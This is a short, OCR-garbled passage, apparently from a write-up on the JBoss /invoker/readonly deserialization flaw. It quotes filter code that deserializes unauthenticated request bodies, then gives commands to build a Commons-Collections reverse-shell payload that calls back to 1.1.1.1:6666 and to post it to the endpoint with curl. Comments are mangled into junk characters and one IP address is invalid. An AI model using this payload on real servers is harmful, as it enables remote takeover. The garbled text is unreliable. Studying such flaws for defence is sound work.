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<url-pattern>/*</url-pattern>
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public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException

HttpServletRequest httpRequest = (HttpServletRequest)request;

Principal user = httpRequest.getUserPrincipal();

if ((user == null) && (this.readOnlyContext != null))

{
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
MarshalledInvocation mi = null;

try
{
mi = (MarshalledInvocation)ois.readObject();
¥
catch (ClassNotFoundException e)
{
throw new ServletException("Failed to read MarshalledInvocation", e);
}

request.setAttribute("MarshalledInvocation", mi);

mi.setMethodMap(this.namingMethodMap);
Method m = mi.getMethod();
if (m != null) {
validateAccess(m, mi);
¥
}

chain.doFilter(request, response);
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//EBE payload f java 3L

javac —cp . :commons—collections—3. 2. 1. jar ReverseShellCommonsCollectionsHashMap. java

// R34 shell f¥ IP Fisk O

java —cp . :commons—collections—3.2. 1. jar ReverseShellCommonsCollectionsHashMap 1.1.1.1:6666

//{EH curl [5)/invoker/readonly 3£3Z payload
curl http://192. 268. 197. 25:8080/invoker/readonly ——data—binary

@ReverseShellCommonsCollectionsHashMap. ser
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